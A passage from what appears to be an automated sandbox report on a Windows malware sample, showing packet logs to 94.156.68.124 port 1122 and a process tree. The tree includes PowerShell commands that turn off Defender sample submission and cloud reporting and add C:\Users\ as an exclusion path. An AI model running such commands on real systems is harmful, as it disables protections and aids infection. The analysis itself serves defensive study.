Sep 25, 2024 01:11:13.394938946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394968987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.395582914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.395627022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.395646095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.395661116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.395701885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.395777941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.395793915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.395807028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.395845890 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.395893097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.395931959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.441421986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441451073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441466093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441478014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441490889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441504002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441517115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441520929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.441567898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.441618919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441659927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441674948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441689014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441698074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.441714048 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.441855907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441869020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441879034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441894054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.441900969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.441929102 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.442118883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442145109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442154884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442164898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442176104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442181110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.442189932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442194939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.442212105 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.442361116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442374945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.442399025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.470736027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.470784903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.470798016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.470812082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.470866919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.470899105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.470918894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.470962048 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.471024990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471043110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471055984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471081972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.471126080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471136093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471147060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471158028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471168995 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.471188068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.471297979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471307993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471318007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471330881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471340895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471348047 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.471365929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.471395016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.471450090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471462011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.471496105 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.473474979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473517895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473536015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473576069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.473669052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473681927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473695040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473710060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473712921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.473730087 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.473961115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473977089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.473992109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474005938 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474006891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474023104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474035025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474035025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474067926 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474216938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474288940 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474401951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474416018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474428892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474440098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474451065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474462986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474463940 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474476099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474488020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474489927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474499941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474507093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474514961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474524021 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474528074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474539995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474551916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.474558115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.474581003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.475179911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475195885 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475208044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475228071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475239038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.475239992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475255966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475272894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475279093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.475286007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.475323915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.490190983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490225077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490236998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490243912 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.490281105 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.490372896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490389109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490411043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490423918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490426064 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.490462065 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.490715027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490736008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490747929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490758896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490772009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490782976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490784883 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.490794897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490807056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490822077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.490828037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.490844965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.491298914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491311073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491322994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491333961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491344929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491347075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.491355896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491370916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491379976 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.491393089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491404057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491414070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491419077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.491426945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491432905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.491437912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491450071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.491461039 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.491493940 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.492038012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492049932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492059946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492074013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492085934 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.492088079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492099047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492109060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492114067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.492121935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492130995 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.492135048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492146015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492156982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492168903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.492170095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.492193937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.492209911 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.532335043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532371044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532387972 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532432079 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.532468081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532479048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532490015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532501936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532525063 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.532567024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.532744884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532757044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532768011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532779932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532800913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.532816887 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.532901049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532912016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532923937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.532948971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.532963991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.533191919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.533253908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.533265114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.533304930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.533411980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.533423901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.533437014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.533447981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.533456087 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.533480883 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.557779074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557790995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557801962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557832956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.557873964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557874918 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.557883978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557894945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557918072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.557955027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557964087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557977915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.557990074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.558011055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.558042049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558053017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558063984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558089972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.558178902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558191061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558201075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558212996 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.558239937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.558298111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558306932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558316946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.558331013 CEST	1122	49700	94.156.68.124	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 01:11:10.079562902 CEST	192.168.2.7	1.1.1.1	0xbea7	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 01:11:10.086438894 CEST	1.1.1.1	192.168.2.7	0xbea7	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

Target ID:	0
Start time:	19:11:04
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:11:04
Start date:	24/09/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7c1040000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	19:11:04
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	19:11:04
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	19:11:04
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	19:11:04
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:11:05
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	11'950'592 bytes
MD5 hash:	07FC5B4F3A432B09B0D51F8B00EF05F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:11:05
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	11'950'592 bytes
MD5 hash:	07FC5B4F3A432B09B0D51F8B00EF05F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:11:08
Start date:	24/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat"
Imagebase:	0x7ff6f2900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:11:08
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:11:08
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:11:09
Start date:	24/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	19:11:09
Start date:	24/09/2024
Path:	C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe"
Imagebase:	0x7ff7e3ce0000
File size:	98'304 bytes
MD5 hash:	319865D78CC8DF6270E27521B8182BFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:11:12
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:11:14
Start date:	24/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Imagebase:	0x7ff741d30000
